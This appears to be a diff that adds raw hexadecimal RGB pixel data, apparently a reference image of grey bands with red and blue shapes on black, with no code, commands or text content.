+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000000000000000D22424EF2929 +430C0C0000000000000000000000002F0808EF2929E72828050101000000030000E22727EF2929 +3509092F0808EF2929E72828050101000000030000E22727EF2929350909000000000000160404 +EF2929EF29290B0202000000000000000000CF2424901919020000D52424BA20201F0505601010 +EF2929741414000000AC1E1EEF2929891717701313EF2929B21F1F0000000000002E0808EF2929 +EF29295C10100B02020D0202EF2929EF29291A0505000000000000270707EF2929EE2929010000 +000000000000000000000000000000000000430C0CEF2929CE2323000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000151D26729FCF33465C000000000000000000000000 +000000729FCF729FCF141B2400000019242E729FCF729FCF0B10141C2733729FCF6A94C1000000 +0000000000000000000000000000000000000000000000000D11172C3D505D81A8729FCF4B6988 +000000000000527395729FCF415B77364B61729FCF55769A0000000000000000000000000B0F13 +729FCF729FCF05070A000000000000000000161F29729FCF6E99C80203040000000102026C96C4 +729FCF19242E0000006891BC729FCF2A3B4C0000000000006891BC729FCF1F2B38000000000000 +151D26729FCF33465C000000000000000000000000161F28729FCF729FCF2C3D5005070A06090B +729FCF729FCF0D11170000000000000B0F13729FCF729FCF05070A000000000000000000000000 +0000000B0F13729FCF729FCF05070A000000000000000000161F28729FCF729FCF2C3D5005070A +06090B729FCF729FCF0D11170000004E6C8D729FCF405974000000000000000000000000000000 +000000527395729FCF415B77364B61729FCF55769A0000000000000000000000000000000D1117 +2C3D505D81A8729FCF4B6988000000FCFCFCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF +282828000000000000000000000000000000000000000000000000000000000000000000000000 +ABABABB0B0B00000000000000000000000000000000000000000000000000E0E0E6E6E6EFDFDFD +626262000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDED000000000000000000D22424EF2929430C0C000000000000000000000000 +050101DE2626EF2929651111000000611111EF2929E22727080101050101DE2626EF2929651111 +000000611111EF2929E227270801010000000000000F0303EF2929EF29291F0505000000000000 +000000A41C1CC82222000000440C0CE32727EF2929DB2626EB2828741414000000AC1E1EEF2929 +651111080101D72525EF29294E0D0D0000003D0A0AEF2929EE2929040101000000420B0BEF2929 +EF29291A0505000000000000160404EF2929EF29292B0707000000000000000000000000000000 +000000430C0CEF2929CE23230000000000000000000000000000000000002A2A2A6464642A2A2A +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000004864826C96C406090B000000000000000000000000000000729FCF729FCF1C27321B2632 +5F85AD729FCF597DA200000006080B6E99C7729FCF2E4154000000000000090C10384F66070A0D +0000001B2632080C0F0000000000001F2C39729FCF587A9F000000000000527395729FCF304358 +040607668FBA729FCF253443000000000000000000070A0D729FCF729FCF0F151B000000000000 +0000000203046A94C0729FCF3043580000002E4054729FCF6C96C40406070000006891BC729FCF +597BA1040607273647729FCF729ECE0D13180000000000004864826C96C406090B000000000000 +0000000000001D2935729FCF729ECE0202030000001F2C39729FCF729FCF0D1117000000000000 +070A0D729FCF729FCF0F151B000000000000000000000000000000070A0D729FCF729FCF0F151B +0000000000000000001D2935729FCF729ECE0202030000001F2C39729FCF729FCF0D1117000000 +32455A729FCF6B95C217202A000000080B0F2C3E50000000000000527395729FCF304358040607 +668FBA729FCF2534430000000000001B2632080C0F0000000000001F2C39729FCF587A9F000000 +2F2F2F5A5A5AF6F6F6323232616161F1F1F1313131303030070707000000000000000000000000 +000000000000000000000000000000000000000000000000999999C3C3C3000000000000000000 +000000000000000000000000000000000000000000DFDFDF7D7D7D000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000EDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000000000 +000000D22424EF2929430C0C000000000000000000000000000000671212EF2929EF2929E02626 +EF2929EF29296F1313000000000000671212EF2929EF2929E02626EF2929EF29296F1313000000 +000000000000000000D32424EF2929DA2525B820209D1B1B000000590F0FEF29293E0B0B000000 +0D02023108080F0303390A0A1D0505000000AC1E1EEF2929651111000000601010EF2929D12424 +0701010F0303DE2626EF2929941919671212D62525EF2929EF29291A0505000000000000000000 +CA2323EF2929E12727B92020B82020030000000000AE1E1EB82020C72222EF2929E82828B82020 +B820206111110000000000000000006C6C6CFFFFFF6C6C6C000000000000000000000000000000 +0000000000000000000000000000000000000000000000000A0E136F9BCA3F5973000000000000 +000000000000000000000000729FCF729FCF729FCF729FCF729FCF6E9AC91A242F000000000000 +384F66729FCF729FCF6891BD668EB9729FCF729FCF090C1000000046617F6E9AC95A7DA3507091 +6993BF729FCF3E5670000000000000527395729FCF3043580000002E4053729FCF648BB5040506 +000000000000000000658CB7729FCF6891BD587A9F4B6988000000000000314559729FCF729FCF +6B95C2729FCF729FCF354A600000000000006891BC729FCF6A94C0709CCB729FCF729FCF527295 +0000000000000A0E136F9BCA3F5973000000000000000000000000000000070A0D6A94C0729FCF +476380314559668EB9729FCF729FCF0D1117000000000000000000658CB7729FCF6891BD587A9F +4B6988000000000000000000000000658CB7729FCF6891BD587A9F4B6988000000070A0D6A94C0 +729FCF476380314559668EB9729FCF729FCF0D111700000006080B6289B3729FCF729FCF6B95C2 +729FCF587A9F000000000000527395729FCF3043580000002E4053729FCF648BB5040506000000 +46617F6E9AC95A7DA35070916993BF729FCF3E5670000000000000747474B8B8B80000007C7C7C +B0B0B0000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000005C5C5CFCFCFC6262623838382020200000000000006767679D9D9D555555 +4040408A8A8AFEFEFE3B3B3B000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000000000000000D22424EF2929430C0C000000 +000000000000000000000000000000621111CD2323EA2828CE2323671212000000000000000000 +000000621111CD2323EA2828CE23236712120000000000000000000000000000003F0B0BC22121 +E82828EF2929CE2323000000070101CB2323D52424250606000000000000000000190404000000 +000000AC1E1EEF2929651111000000040101CA2323EF2929751414000000390A0ABD2020E72828 +D324245D1010EF2929EF29291A05050000000000000000002B0707B92020E72828EF2929EF2929 +040101000000E52727EF2929EF2929EF2929EF2929EF2929EF29297F1616000000000000000000 +6C6C6CFFFFFF6C6C6C000000000000000000000000000000000000000000000000000000000000 +0000000000000000003A516A719DCD0E141A000000000000000000000000000000000000729FCF +729FCF709DCC678FBB4C6989151E270000000000000000000000002E40535D82AA6F9BC96C97C4 +5E84AB3D556F0304060000002534435476996891BD6F9BCA658EB8425C77040608000000000000 +527395729FCF3043580000000202036187AF729FCF384E650000000000000000001E2A365D81A8 +6F9BC9729FCF6289B30000000000000000002F41556289B2709CCB6289B3314559000000000000 +0000006891BC729FCF29394A5A7DA36F9BC95475990D11170000000000003A516A719DCD0E141A +0000000000000000000000000000000000001B26325A7EA46E99C8658CB72C3E50729FCF729FCF +0D11170000000000000000001E2A365D81A86F9BC9729FCF6289B3000000000000000000000000 +1E2A365D81A86F9BC9729FCF6289B30000000000001B26325A7EA46E99C8658CB72C3E50729FCF +729FCF0D11170000000000000C10154966846A93C06E99C85D82AA2B3C4E000000000000527395 +729FCF3043580000000202036187AF729FCF384E650000002534435476996891BD6F9BCA658EB8 +425C77040608000000000000B9B9B9727272000000C1C1C16A6A6A000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000030303929292 +EEEEEEFFFFFF949494000000000000393939B8B8B8EAEAEAF6F6F6D1D1D1595959000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDED000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +2A0707DB2626E828289F1B1B7F1616A21C1CE92828240606000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000405066992BE4D6B8C +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000006891BC729FCF1B2531000000 +0000000000000000000000000405066992BE4D6B8C000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000160404891717D12424E92828 +D32424911919190404000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000006891BC729FCF1B2531000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDED000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000000006891BC +729FCF1B2531000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000EDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 